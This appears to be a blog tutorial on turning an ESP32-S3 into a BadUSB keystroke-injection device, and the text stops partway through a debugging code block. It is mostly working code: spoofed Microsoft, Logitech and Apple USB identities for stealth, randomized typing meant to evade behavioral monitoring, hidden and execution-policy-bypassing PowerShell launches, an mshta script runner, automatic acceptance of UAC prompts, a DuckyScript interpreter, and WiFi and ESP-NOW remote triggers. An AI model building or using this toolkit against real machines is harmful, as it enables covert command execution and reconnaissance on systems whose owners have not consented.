Esp32 S3 BadUSB Guide

Cover Image for Esp32 S3 BadUSB Guide
CRUSVEDER

27 min read

ESP32-S3 BadUSB — Complete Technical Reference Guide

Libraries · Architecture · Templates · Advanced Techniques · Real-World Examples

Based on TinyUSB Stack | Arduino Ecosystem | ESP-IDF Compatible


⚠️ LEGAL DISCLAIMER This document is strictly for educational purposes: USB HID security research, automation testing, HID protocol understanding, and controlled lab experimentation. Deploying BadUSB techniques against devices you do not own or have explicit written permission to test is ILLEGAL in most jurisdictions and may result in criminal prosecution. The author and contributors accept no liability for misuse.


1. Why ESP32-S3 for BadUSB Research?

The ESP32-S3 represents a significant leap over classic ESP32 and other popular BadUSB platforms. Understanding its hardware architecture explains why it is currently one of the most capable microcontrollers for USB HID security research.

1.1 Hardware Advantages vs. Classic ESP32

FeatureClassic ESP32ESP32-S3
Native USB OTGNo (requires CP2102 bridge)Yes — built-in
TinyUSB StackNoYes — full support
HID Keyboard/MouseNoYes (composite too)
Max Flash4MB standardUp to 16MB
PSRAM4MB (SPI)8MB+ (OPI / Octal)
Xtensa Cores2× LX62× LX7 (faster)
CPU Frequency240 MHz240 MHz
BLE4.25.0

1.2 Comparison to Other BadUSB Platforms

PlatformUSB HIDWiFiStoragePrice
Rubber DuckyYesNoMicroSD$$$
DigiSparkYes (software)NoNo$
Raspberry Pi ZeroYesYesMicroSD$$
Arduino LeonardoYesNoNo$$
ESP32-S3Yes (native)Yes (2.4GHz)16MB Flash + ext.$

The ESP32-S3 uniquely combines low cost, native HID, WiFi, large flash storage, and the full Arduino ecosystem — making it ideal for complex, remotely-controlled automation research.

1.3 Core USB Stack: TinyUSB

TinyUSB is an open-source, cross-platform USB host/device stack for embedded systems. On the ESP32-S3 it provides:

  • Full USB 2.0 Full Speed device capability (12 Mbps)
  • HID Class support: keyboards, mice, gamepads, custom descriptors
  • CDC (Communication Device Class) for serial emulation
  • MSC (Mass Storage Class) for appearing as a USB flash drive
  • Composite devices: multiple USB classes simultaneously
  • Configurable USB descriptors (VID, PID, manufacturer name, product name)

2. Development Environment Setup

2.1 Arduino IDE Configuration

Incorrect board settings are the #1 cause of HID failures. Apply every setting below before uploading any code.

SettingRequired ValueWhy It Matters
BoardESP32S3 Dev ModuleCorrect pin mapping & USB support
Flash Size16MB (or match your board)Determines available storage
PSRAMOPI PSRAM (8MB)Extended memory for complex payloads
USB ModeUSB-OTG (TinyUSB)Enables true HID — DO NOT use CDC
USB CDC On BootEnabledAllows serial debug during development
Partition Scheme16MB (3MB App / 9MB SPIFFS)Maximizes payload storage space
Upload Speed921600Faster flashing
CPU Frequency240 MHzMaximum performance

⚠️ USB Mode MUST be set to USB-OTG (TinyUSB). Using Hardware CDC and JTAG will prevent HID from working entirely. This is the most common setup mistake.

2.2 Required Libraries

The following are included with the ESP32 Arduino core — no separate install needed:

LibraryIncludePurpose
USB Core#include "USB.h"Initialize USB device stack
HID Keyboard#include "USBHIDKeyboard.h"Keyboard HID class
HID Mouse#include "USBHIDMouse.h"Mouse HID class
HID Gamepad#include "USBHIDGamepad.h"Gamepad HID class

Optional libraries (install via Library Manager):

LibraryInstall NameUse Case
WiFiBuilt-inRemote payload control
WebServerBuilt-inHTTP dashboard
SPIFFSBuilt-inFile system for payload scripts
ArduinoJsonArduinoJson by Benoit BlanchonParse JSON configs
TFT_eSPITFT_eSPI by BodmerOLED/TFT status display
PreferencesBuilt-in (ESP32)Persistent key-value storage
Adafruit NeoPixelAdafruit NeoPixelRGB LED status indicator

2.3 USB Descriptor Customization

By default the ESP32-S3 advertises itself as an Espressif device. For stealth research you can override this to appear as any USB peripheral:

// Must be called BEFORE USB.begin()
USB.manufacturerName("Microsoft Corporation");
USB.productName("Basic Optical Mouse v2.0");
USB.serialNumber("MSFT-HID-001");
USB.VID(0x045E);  // Microsoft VID
USB.PID(0x0737);  // Wireless Receiver PID

USB.begin();
Keyboard.begin();

Common impersonation targets for authorized pen tests:

// Logitech USB Keyboard
USB.manufacturerName("Logitech");
USB.productName("USB Keyboard K120");
USB.VID(0x046D);
USB.PID(0xC31C);

// Apple Wired Keyboard
USB.manufacturerName("Apple Inc.");
USB.productName("Apple Keyboard");
USB.VID(0x05AC);
USB.PID(0x0267);

// Generic HID (low suspicion)
USB.manufacturerName("HID Global");
USB.productName("USB Keyboard");
USB.VID(0x0483);
USB.PID(0x5710);

💡 Matching the VID/PID of a common peripheral can help avoid suspicion during authorized penetration tests. Always document this in your test scope agreement.


3. Complete Keyboard API Reference

3.1 Object Initialization

#include <USB.h>
#include <USBHIDKeyboard.h>

USBHIDKeyboard Keyboard;

void setup() {
  USB.begin();
  Keyboard.begin();
  delay(4000);  // Host enumeration time — NEVER skip this
}

3.2 Text Output Methods

MethodDescriptionExample
Keyboard.print(val)Print string/char — no newlineKeyboard.print("Hello");
Keyboard.println(val)Print string + RETURNKeyboard.println("cmd");
Keyboard.write(key)Send single key press + releaseKeyboard.write(KEY_RETURN);
Keyboard.press(key)Hold key down (no release)Keyboard.press(KEY_LEFT_CTRL);
Keyboard.release(key)Release a held keyKeyboard.release(KEY_LEFT_CTRL);
Keyboard.releaseAll()Release ALL held keysKeyboard.releaseAll();

3.3 Special Key Constants

ConstantKeyConstantKey
KEY_RETURNEnterKEY_F1KEY_F12Function keys
KEY_ESCEscapeKEY_LEFT_CTRLLeft Control
KEY_BACKSPACEBackspaceKEY_LEFT_SHIFTLeft Shift
KEY_TABTabKEY_LEFT_ALTLeft Alt
KEY_DELETEDeleteKEY_LEFT_GUIWin / Cmd
KEY_HOMEHomeKEY_RIGHT_CTRLRight Control
KEY_ENDEndKEY_RIGHT_SHIFTRight Shift
KEY_PAGE_UPPage UpKEY_RIGHT_ALTRight Alt (AltGr)
KEY_PAGE_DOWNPage DownKEY_RIGHT_GUIRight Win/Cmd
KEY_INSERTInsertKEY_PRINT_SCREENPrint Screen
KEY_UP_ARROWUpKEY_SCROLL_LOCKScroll Lock
KEY_DOWN_ARROWDownKEY_NUM_LOCKNum Lock
KEY_LEFT_ARROWLeftKEY_CAPS_LOCKCaps Lock
KEY_RIGHT_ARROWRightKEY_PAUSEPause/Break

3.4 Keyboard Shortcut Combos

Always press modifier keys first, then the action key. Release all after.

// Win + R  (Run dialog)
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();

// Ctrl + Alt + T  (Terminal on Linux/Ubuntu)
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press('t');
delay(100);
Keyboard.releaseAll();

// Ctrl + Shift + Esc  (Task Manager)
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_ESC);
delay(100);
Keyboard.releaseAll();

// Alt + F4  (Close window)
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(KEY_F4);
delay(100);
Keyboard.releaseAll();

// Ctrl + C / Ctrl + V
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press('c');
delay(80);
Keyboard.releaseAll();

// Win + X  (Power user menu — Windows 10/11)
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('x');
delay(100);
Keyboard.releaseAll();

4. Stealth & Evasion Techniques

4.1 Human Typing Simulation

Uniform keystroke timing is a signature of automated input. Randomized delays make injection look organic to behavioral monitoring software:

void humanType(const String &text, int minDelay = 40, int maxDelay = 130) {
  for (size_t i = 0; i < text.length(); i++) {
    Keyboard.print(text[i]);
    // Random inter-keystroke delay
    delay(random(minDelay, maxDelay));
    // Occasional 'thinking pause' to simulate a real user
    if (random(0, 20) == 0) {
      delay(random(200, 600));
    }
  }
}

// Usage:
humanType("powershell -ExecutionPolicy Bypass");
Keyboard.write(KEY_RETURN);

4.2 Timing Strategy Reference

Timing PointRecommended DelayReason
After USB.begin() / Keyboard.begin()3000–5000 msHost needs time to enumerate and load HID driver
After opening Run dialog (Win+R)500–800 msDialog animation and focus acquisition
After typing a command800–1500 msApplication launch time varies
After opening terminal/PowerShell1200–2000 msShell initialization
Between individual keystrokes40–130 ms (random)Simulate human typing speed
After pressing Enter for a command500–3000 msCommand execution time is variable
Android devices — initial5000–8000 msAndroid USB HID stack is slower to initialize

4.3 Execution Trigger Strategies

Auto-execution on plug-in is suspicious and noisy. Consider these safer trigger methods:

#define BUTTON_PIN 0  // Boot button on most ESP32-S3 boards

void setup() {
  pinMode(BUTTON_PIN, INPUT_PULLUP);
  USB.begin();
  Keyboard.begin();
  delay(4000);
}

void loop() {
  // Only execute when button physically pressed
  if (digitalRead(BUTTON_PIN) == LOW) {
    runPayload();
    delay(3000);  // Debounce / cooldown
  }
}

Other trigger strategies:

// Timer-based: run payload 30 seconds after enumeration
unsigned long startTime;
bool triggered = false;

void setup() {
  USB.begin(); Keyboard.begin();
  delay(4000);
  startTime = millis();
}

void loop() {
  if (!triggered && millis() - startTime > 30000) {
    triggered = true;
    runPayload();
  }
}

// WiFi-based: execute only when command received over HTTP (see Section 6)
// BLE-based: receive trigger over Bluetooth Low Energy

💡 For pen testing engagements, a physical button trigger ensures you have explicit control over when the payload executes, preventing accidental triggering during setup or transit.

4.4 Keyboard Layout Handling

The ESP32-S3 sends raw HID keycodes. The target computer's configured keyboard layout determines what character appears. This causes problems if the target uses a non-US layout:

Target LayoutProblem ExampleWorkaround
German (DE)Keyboard.print('z') types y on targetSwap z/y in payload strings
French (AZERTY)Key positions differ significantlyUse ASCII keycodes carefully
UK English@ and " are swapped vs USUse escape sequences or remap
DvorakAll alpha keys are remappedMust fully remap payload strings
// Layout-agnostic approach: use clipboard paste instead of direct typing
// Write data via clipboard to bypass layout issues entirely

// For German targets — swap z/y:
String deLayout(String text) {
  for (size_t i = 0; i < text.length(); i++) {
    if      (text[i] == 'z') text[i] = 'y';
    else if (text[i] == 'Z') text[i] = 'Y';
    else if (text[i] == 'y') text[i] = 'z';
    else if (text[i] == 'Y') text[i] = 'Z';
  }
  return text;
}

5. OS-Specific Automation Templates

5.1 Windows Templates

5.1.1 Open Run Dialog and Execute Command

void winRun(const String &command) {
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  delay(100);
  Keyboard.releaseAll();
  delay(700);

  humanType(command);
  delay(100);
  Keyboard.write(KEY_RETURN);
  delay(1500);
}

// Examples:
winRun("notepad");
winRun("powershell -ExecutionPolicy Bypass");
winRun("cmd /k whoami");
winRun("mshta vbscript:Execute(\"CreateObject(\"\"WScript.Shell\"\").Run \"\"calc\"\",0:close\")");

5.1.2 Open Hidden PowerShell (Win + X Method)

void openHiddenPS() {
  // Win + X  (Power user menu)
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('x');
  delay(100);
  Keyboard.releaseAll();
  delay(600);

  // 'a' for Windows PowerShell (Admin) on Windows 10/11
  Keyboard.write('a');
  delay(800);

  // Handle UAC prompt
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.write('y');  // 'Y' is the Yes button shortcut
  Keyboard.releaseAll();
  delay(2000);
}

5.1.3 Open Notepad and Type Text (Safe Demo)

void windowsDemo() {
  winRun("notepad");
  delay(1200);

  humanType("ESP32-S3 HID Demo");
  Keyboard.write(KEY_RETURN);
  humanType("This text was typed by an ESP32-S3 acting as a USB keyboard.");
  Keyboard.write(KEY_RETURN);
  humanType("Timestamp: " + String(millis()) + " ms since boot");
}

5.1.4 Multi-Command PowerShell Sequence

void winPSSequence() {
  winRun("powershell");
  delay(1500);

  // Run multiple commands
  String commands[] = {
    "cd $env:USERPROFILE",
    "whoami",
    "ipconfig | findstr IPv4",
    "exit"
  };

  for (String &cmd : commands) {
    humanType(cmd);
    Keyboard.write(KEY_RETURN);
    delay(800);
  }
}

5.2 Linux / macOS Templates

5.2.1 Open Terminal (Linux — common shortcuts)

void linuxTerminal() {
  // Ctrl + Alt + T — Works on Ubuntu, Mint, etc.
  Keyboard.press(KEY_LEFT_CTRL);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('t');
  delay(100);
  Keyboard.releaseAll();
  delay(1500);
}

void linuxRunCommand(const String &cmd) {
  linuxTerminal();
  humanType(cmd);
  Keyboard.write(KEY_RETURN);
}

5.2.2 macOS Spotlight Execution

void macSpotlight(const String &appOrCommand) {
  // Cmd + Space to open Spotlight
  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press(' ');
  delay(100);
  Keyboard.releaseAll();
  delay(800);

  humanType(appOrCommand);
  delay(500);
  Keyboard.write(KEY_RETURN);
  delay(1500);
}

// Examples:
macSpotlight("Terminal");
macSpotlight("Safari");

// Open Terminal and run a command:
void macRunCommand(const String &cmd) {
  macSpotlight("Terminal");
  delay(1000);
  humanType(cmd);
  Keyboard.write(KEY_RETURN);
}

5.3 Android Templates

void androidLaunchApp(const String &appName) {
  delay(6000);  // Android USB HID enumeration is slow

  // Home button via keyboard
  Keyboard.press(KEY_LEFT_GUI);
  delay(100);
  Keyboard.releaseAll();
  delay(1500);

  // Type in launcher search box
  humanType(appName);
  delay(800);
  Keyboard.write(KEY_RETURN);
  delay(2000);
}

// Open Chrome and navigate to a URL
void androidOpenChrome(const String &url) {
  androidLaunchApp("chrome");
  delay(2000);
  humanType(url);
  Keyboard.write(KEY_RETURN);
}

⚠️ Android requirements: OTG must be enabled, screen must be unlocked, and the keyboard layout must be English (US). Behavior varies heavily across manufacturers and launchers.


6. WiFi-Controlled Payload System

6.1 System Architecture

┌─────────────────────────────────────┐
│             ESP32-S3                │
│                                     │
│  ┌──────────┐   ┌────────────────┐  │
│  │ USB OTG  │   │  WiFi SoftAP   │  │
│  │  (HID)   │   │  192.168.4.1   │  │
│  └────┬─────┘   └───────┬────────┘  │
│       │                 │           │
│  ┌────▼─────────────────▼────────┐  │
│  │          Control Engine       │  │
│  │  - Command Queue              │  │
│  │  - Script Interpreter         │  │
│  │  - SPIFFS Payload Store       │  │
│  │  - Trigger System             │  │
│  └───────────────────────────────┘  │
└─────────────────────────────────────┘
          │                  │
     Target PC          Operator's
    (USB cable)        Phone/Laptop
                      (WiFi browser)

6.2 Full Web Dashboard Implementation

#include "USB.h"
#include "USBHIDKeyboard.h"
#include <WiFi.h>
#include <WebServer.h>
#include <SPIFFS.h>

USBHIDKeyboard Keyboard;
WebServer server(80);

const char* AP_SSID = "ESP32_Control";
const char* AP_PASS = "Str0ngP@ss!";

volatile bool runPayload = false;
volatile int  payloadID  = 0;

// ── Web Dashboard HTML ──────────────────────────────────────────
const char DASHBOARD_HTML[] PROGMEM = R"rawliteral(
<!DOCTYPE html><html><head>
<meta name='viewport' content='width=device-width,initial-scale=1'>
<title>ESP32 HID Control</title>
<style>
  body  { font-family: monospace; background: #0d1117; color: #58a6ff; padding: 20px; }
  h1    { color: #f0f6fc; }
  button { background: #1f6feb; color: #fff; border: none;
           padding: 12px 24px; margin: 6px; border-radius: 6px;
           cursor: pointer; font-size: 14px; }
  button:hover  { background: #388bfd; }
  .danger       { background: #da3633; }
  .danger:hover { background: #f85149; }
  .status { color: #3fb950; margin-top: 10px; font-size: 13px; }
</style></head><body>
<h1>&#x1F4BB; ESP32-S3 HID Controller</h1>
<div class='status' id='st'>&#x2705; Ready</div><br>
<button onclick='run(1)'>Payload 1: Notepad Demo</button>
<button onclick='run(2)'>Payload 2: Open Browser</button>
<button onclick='run(3)'>Payload 3: System Info</button>
<button onclick='run(4)'>Load from SPIFFS</button>
<br><br>
<button class='danger' onclick='run(99)'>&#x1F6D1; ABORT / Stop</button>
<script>
function run(id) {
  fetch('/run?id=' + id)
    .then(r => r.text())
    .then(t => { document.getElementById('st').innerText = 'Sent: ' + t; });
}
</script></body></html>
)rawliteral";

void handleRoot() { server.send(200, "text/html", DASHBOARD_HTML); }

void handleRun() {
  payloadID  = server.arg("id").toInt();
  runPayload = true;
  server.send(200, "text/plain", "Payload " + String(payloadID) + " queued");
}

void handleStatus() {
  String json = "{\"heap\":" + String(ESP.getFreeHeap()) +
                ",\"uptime\":" + String(millis() / 1000) + "}";
  server.send(200, "application/json", json);
}

void setup() {
  Serial.begin(115200);
  USB.begin();
  Keyboard.begin();
  Serial.println("[USB] Initialized");
  delay(4000);

  SPIFFS.begin(true);
  WiFi.softAP(AP_SSID, AP_PASS);
  Serial.printf("[WiFi] AP: %s  IP: %s\n", AP_SSID, WiFi.softAPIP().toString().c_str());

  server.on("/",       handleRoot);
  server.on("/run",    handleRun);
  server.on("/status", handleStatus);
  server.begin();
}

void loop() {
  server.handleClient();

  if (runPayload) {
    runPayload = false;
    switch (payloadID) {
      case 1:  payload_notepadDemo();  break;
      case 2:  payload_openBrowser();  break;
      case 3:  payload_systemInfo();   break;
      case 4:  runPayloadFile("/payload.txt"); break;
      case 99: Keyboard.releaseAll(); break;  // Emergency stop
    }
  }
}

6.3 REST API Endpoint Design

You can extend the web server with a full REST API for programmatic control:

// POST /type  — Type arbitrary text
void handleType() {
  if (server.hasArg("text")) {
    humanType(server.arg("text"));
  }
  server.send(200, "text/plain", "OK");
}

// POST /key  — Send a special key
void handleKey() {
  String key = server.arg("key");
  if      (key == "ENTER")     Keyboard.write(KEY_RETURN);
  else if (key == "ESC")       Keyboard.write(KEY_ESC);
  else if (key == "TAB")       Keyboard.write(KEY_TAB);
  else if (key == "BACKSPACE") Keyboard.write(KEY_BACKSPACE);
  server.send(200, "text/plain", "OK");
}

// GET /files  — List SPIFFS payload files
void handleListFiles() {
  String list = "";
  File root = SPIFFS.open("/");
  File f = root.openNextFile();
  while (f) {
    list += String(f.name()) + "," + String(f.size()) + "\n";
    f = root.openNextFile();
  }
  server.send(200, "text/plain", list);
}

7. SPIFFS Storage & DuckyScript Interpreter

7.1 SPIFFS Overview

SPIFFS (SPI Flash File System) lets the ESP32-S3 store text files, scripts, and configuration on its internal flash. With the 16MB partition scheme you have approximately 9MB available for payloads.

// Initialize SPIFFS
if (!SPIFFS.begin(true)) {  // true = format on failure
  Serial.println("SPIFFS Mount Failed!");
  return;
}

// Write a payload file
File f = SPIFFS.open("/payload1.txt", FILE_WRITE);
f.println("DELAY 1000");
f.println("STRING Hello from SPIFFS!");
f.println("ENTER");
f.close();

// List all files
File root = SPIFFS.open("/");
File file = root.openNextFile();
while (file) {
  Serial.printf("  %-20s  %d bytes\n", file.name(), file.size());
  file = root.openNextFile();
}

// Check free space
Serial.printf("Total: %d  Used: %d  Free: %d bytes\n",
  SPIFFS.totalBytes(), SPIFFS.usedBytes(),
  SPIFFS.totalBytes() - SPIFFS.usedBytes());

7.2 Extended DuckyScript Interpreter

This interpreter supports the most common DuckyScript commands plus ESP32-specific extensions:

void executeLine(const String &line) {

  // ── Text Output ──────────────────────────────────────────────
  if (line.startsWith("STRING ")) {
    humanType(line.substring(7));
    return;
  }
  if (line.startsWith("STRINGLN ")) {
    humanType(line.substring(9));
    Keyboard.write(KEY_RETURN);
    return;
  }

  // ── Timing ───────────────────────────────────────────────────
  if (line.startsWith("DELAY ")) {
    delay(line.substring(6).toInt());
    return;
  }

  // ── Special Keys ─────────────────────────────────────────────
  if (line == "ENTER")      { Keyboard.write(KEY_RETURN);     return; }
  if (line == "TAB")        { Keyboard.write(KEY_TAB);        return; }
  if (line == "ESC")        { Keyboard.write(KEY_ESC);        return; }
  if (line == "BACKSPACE")  { Keyboard.write(KEY_BACKSPACE);  return; }
  if (line == "DELETE")     { Keyboard.write(KEY_DELETE);     return; }
  if (line == "UPARROW")    { Keyboard.write(KEY_UP_ARROW);   return; }
  if (line == "DOWNARROW")  { Keyboard.write(KEY_DOWN_ARROW); return; }
  if (line == "LEFTARROW")  { Keyboard.write(KEY_LEFT_ARROW); return; }
  if (line == "RIGHTARROW") { Keyboard.write(KEY_RIGHT_ARROW);return; }
  if (line == "PAGEUP")     { Keyboard.write(KEY_PAGE_UP);    return; }
  if (line == "PAGEDOWN")   { Keyboard.write(KEY_PAGE_DOWN);  return; }
  if (line == "HOME")       { Keyboard.write(KEY_HOME);       return; }
  if (line == "END")        { Keyboard.write(KEY_END);        return; }
  if (line == "INSERT")     { Keyboard.write(KEY_INSERT);     return; }
  if (line == "PRINTSCREEN"){ Keyboard.write(KEY_PRINT_SCREEN);return;}

  // Function keys
  for (int i = 1; i <= 12; i++) {
    if (line == ("F" + String(i))) {
      Keyboard.write(KEY_F1 + (i - 1));
      return;
    }
  }

  // ── Modifier Combos ──────────────────────────────────────────
  if (line.startsWith("GUI ")) {
    Keyboard.press(KEY_LEFT_GUI);
    char k = line.charAt(4);
    if (k) Keyboard.press(k);
    delay(100); Keyboard.releaseAll();
    return;
  }
  if (line.startsWith("CTRL ALT ")) {
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_LEFT_ALT);
    char k = line.charAt(9);
    if (k) Keyboard.press(k);
    delay(100); Keyboard.releaseAll();
    return;
  }
  if (line.startsWith("CTRL SHIFT ")) {
    Keyboard.press(KEY_LEFT_CTRL);
    Keyboard.press(KEY_LEFT_SHIFT);
    char k = line.charAt(11);
    if (k) Keyboard.press(k);
    delay(100); Keyboard.releaseAll();
    return;
  }
  if (line.startsWith("CTRL ")) {
    Keyboard.press(KEY_LEFT_CTRL);
    char k = line.charAt(5);
    if (k) Keyboard.press(k);
    delay(100); Keyboard.releaseAll();
    return;
  }
  if (line.startsWith("ALT ")) {
    Keyboard.press(KEY_LEFT_ALT);
    char k = line.charAt(4);
    if (k) Keyboard.press(k);
    delay(100); Keyboard.releaseAll();
    return;
  }
  if (line.startsWith("SHIFT ")) {
    Keyboard.press(KEY_LEFT_SHIFT);
    char k = line.charAt(6);
    if (k) Keyboard.press(k);
    delay(100); Keyboard.releaseAll();
    return;
  }

  // ── Comments (ignored) ───────────────────────────────────────
  if (line.startsWith("REM ") || line.startsWith("//")) return;
}

// ── File Runner ──────────────────────────────────────────────────
void runPayloadFile(const char* path) {
  File f = SPIFFS.open(path, FILE_READ);
  if (!f) {
    Serial.printf("[ERR] Cannot open: %s\n", path);
    return;
  }
  int lineNum = 0;
  while (f.available()) {
    String line = f.readStringUntil('\n');
    line.trim();
    lineNum++;
    if (line.length() > 0) {
      Serial.printf("[LINE %d] %s\n", lineNum, line.c_str());
      executeLine(line);
    }
  }
  f.close();
  Serial.printf("[DONE] %s (%d lines)\n", path, lineNum);
}

7.3 Example DuckyScript Payload Files

payload_info.txt — Gather basic system info (Windows, authorized audit):

REM Gather basic system info for authorized audit
DELAY 2000
GUI r
DELAY 700
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1500
STRING $info = "Host: $env:COMPUTERNAME | User: $env:USERNAME"
ENTER
DELAY 300
STRING $info | Out-File "$env:TEMP\audit.txt" -Force
ENTER
DELAY 200
STRING exit
ENTER

payload_demo.txt — Open Notepad and type a message (safe demo):

REM Safe Notepad demo
DELAY 1000
GUI r
DELAY 600
STRINGLN notepad
DELAY 1200
STRING Hello! This payload was executed by an ESP32-S3.
ENTER
STRING Script loaded from SPIFFS filesystem.
ENTER
STRING Timestamp auto-typed. No reflashing required.

payload_lock.txt — Lock workstation (Windows):

REM Lock Windows workstation
DELAY 500
GUI l

8. Mouse HID & Composite Devices

8.1 Mouse API

#include "USB.h"
#include "USBHIDMouse.h"

USBHIDMouse Mouse;

void setup() {
  USB.begin();
  Mouse.begin();
  delay(4000);
}

// Move mouse by relative pixels
Mouse.move(10, -20);           // x=+10px, y=-20px
Mouse.move(0, 0, -3);          // Scroll down 3 units

// Click buttons
Mouse.click(MOUSE_LEFT);       // Left click
Mouse.click(MOUSE_RIGHT);      // Right click
Mouse.click(MOUSE_MIDDLE);     // Middle click

// Double click
Mouse.click(MOUSE_LEFT);
delay(80);
Mouse.click(MOUSE_LEFT);

// Hold and drag
Mouse.press(MOUSE_LEFT);
Mouse.move(200, 100);
Mouse.release(MOUSE_LEFT);

8.2 Composite Keyboard + Mouse

#include "USB.h"
#include "USBHIDKeyboard.h"
#include "USBHIDMouse.h"

USBHIDKeyboard Keyboard;
USBHIDMouse    Mouse;

void setup() {
  USB.begin();
  Keyboard.begin();
  Mouse.begin();
  delay(4000);
  // Both devices now work simultaneously on one USB cable
}

// Example: focus a window by clicking, then type into it
void clickAndType(int x, int y, const String &text) {
  Mouse.move(x, y);
  delay(100);
  Mouse.click(MOUSE_LEFT);
  delay(200);
  humanType(text);
}

8.3 Mouse Jiggler (Anti-Screensaver Research)

// Periodically move mouse to prevent screen lock
// Common use: kiosk security audits, presentation demos

unsigned long lastJiggle = 0;
const unsigned long JIGGLE_INTERVAL = 30000;  // 30 seconds

void loop() {
  if (millis() - lastJiggle > JIGGLE_INTERVAL) {
    Mouse.move(3, 0);
    delay(50);
    Mouse.move(-3, 0);
    lastJiggle = millis();
  }
}

8.4 Absolute Mouse Positioning (via TinyUSB Custom Descriptor)

For absolute positioning (e.g., clicking a specific screen coordinate), you need a custom HID descriptor. This requires ESP-IDF level TinyUSB configuration — see the TinyUSB documentation for HID_REPORT_DESC_MOUSE with absolute axes.


9. Advanced Topics

9.1 NVS (Non-Volatile Storage) for Persistent Config

#include <Preferences.h>

Preferences prefs;

void saveConfig(const String &ssid, const String &pass, int payloadIdx) {
  prefs.begin("config", false);  // false = read/write mode
  prefs.putString("ssid",       ssid);
  prefs.putString("pass",       pass);
  prefs.putInt("payloadIdx",    payloadIdx);
  prefs.putBool("autoRun",      false);
  prefs.end();
}

struct Config {
  String ssid;
  String pass;
  int    payloadIdx;
  bool   autoRun;
};

Config loadConfig() {
  prefs.begin("config", true);  // true = read-only mode
  Config c;
  c.ssid       = prefs.getString("ssid",       "ESP32_Control");
  c.pass       = prefs.getString("pass",       "12345678");
  c.payloadIdx = prefs.getInt("payloadIdx",    0);
  c.autoRun    = prefs.getBool("autoRun",      false);
  prefs.end();
  return c;
}

9.2 OTA (Over-the-Air) Firmware Updates

Update your firmware wirelessly — no need to physically connect a USB cable to a computer for reflashing:

#include <ArduinoOTA.h>

void setupOTA() {
  ArduinoOTA.setHostname("esp32-hid");
  ArduinoOTA.setPassword("ota-secret-password");

  ArduinoOTA.onStart([]()   { Serial.println("[OTA] Start");   });
  ArduinoOTA.onEnd([]()     { Serial.println("[OTA] Done");     });
  ArduinoOTA.onProgress([](unsigned int prog, unsigned int total) {
    Serial.printf("[OTA] %u%%\n", prog * 100 / total);
  });
  ArduinoOTA.onError([](ota_error_t err) {
    Serial.printf("[OTA] Error[%u]\n", err);
  });

  ArduinoOTA.begin();
}

// In loop():
ArduinoOTA.handle();

Flash via command line:

python3 -m espota -i 192.168.4.1 -p 3232 -f firmware.bin

9.3 RGB LED Status Indicator

#include <Adafruit_NeoPixel.h>

#define LED_PIN   48   // Built-in RGB LED on ESP32-S3-DevKitC-1
#define NUM_LEDS   1

Adafruit_NeoPixel rgb(NUM_LEDS, LED_PIN, NEO_GRB + NEO_KHZ800);

void setStatus(uint8_t r, uint8_t g, uint8_t b) {
  rgb.setPixelColor(0, rgb.Color(r, g, b));
  rgb.show();
}

// Status codes:
// setStatus(0,   0,  50) → Blue   — Idle / waiting for trigger
// setStatus(0,  50,   0) → Green  — Payload executing
// setStatus(50,  0,   0) → Red    — Error / fault
// setStatus(50, 25,   0) → Amber  — WiFi AP active
// setStatus(50,  0,  50) → Purple — USB enumeration in progress
// setStatus(0,   0,   0) → Off    — Stealth mode

9.4 OLED Display Integration

#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>

#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 32

Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, -1);

void displayStatus(const String &line1, const String &line2 = "") {
  display.clearDisplay();
  display.setTextSize(1);
  display.setTextColor(SSD1306_WHITE);
  display.setCursor(0, 0);
  display.println(line1);
  if (line2.length() > 0) {
    display.setCursor(0, 16);
    display.println(line2);
  }
  display.display();
}

void setup() {
  display.begin(SSD1306_SWITCHCAPVCC, 0x3C);
  displayStatus("ESP32-S3 HID", "Initializing...");
  // ...rest of setup
  displayStatus("Ready", "AP: ESP32_Control");
}

9.5 ESP-NOW Wireless Relay (Two-Device Setup)

Use two ESP32-S3 boards: one plugged into the target (HID device), one carried by the operator (remote trigger):

// On the OPERATOR device (sends commands):
#include <esp_now.h>
#include <WiFi.h>

uint8_t targetMAC[] = {0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF}; // HID device MAC

void sendPayloadTrigger(int payloadID) {
  esp_now_send(targetMAC, (uint8_t*)&payloadID, sizeof(payloadID));
}

// On the HID device (receives and executes):
void onDataReceive(const uint8_t *mac, const uint8_t *data, int len) {
  int payloadID = *(int*)data;
  // Execute payload based on ID
  runPayload(payloadID);
}

10. Debugging & Troubleshooting

10.1 Systematic Debugging Checklist

SymptomRoot Cause(s)Fix
Nothing types at allWrong USB Mode; power-only cable; no enumeration delaySet USB-OTG mode; use data cable; add 4000ms delay
Wrong characters typedKeyboard layout mismatch (target ≠ US EN)Check target layout; adjust payload strings
First few chars missingEnumeration delay too shortIncrease delay to 5000ms
Keystrokes droppedTyping too fast for the OSAdd delays between keypresses; use humanType()
HID works but WiFi failsLibrary version conflictUpdate ESP32 Arduino core to latest
Android not respondingOTG disabled; screen locked; wrong layoutEnable OTG; unlock screen; verify layout
SPIFFS not mountingFlash not formatted; wrong partition schemePass true to SPIFFS.begin(true)
OTA upload failsFirewall; wrong password; not on same APCheck OTA password; verify WiFi AP join
Device not recognizedDefective cable; USB descriptor errorTry different cable; check VID/PID
Compilation errorsWrong board selectedSet board to ESP32S3 Dev Module

10.2 Serial Debugging Pattern

void setup() {
  Serial.begin(115200);
  Serial.println("[BOOT] Starting ESP32-S3 HID...");

  USB.begin();
  Keyboard.begin();
  Serial.println("[USB]  Stack initialized");

  Serial.println("[WAIT] Awaiting host enumeration...");
  delay(4000);
  Serial.println("[RDY]  HID enumerated successfully");

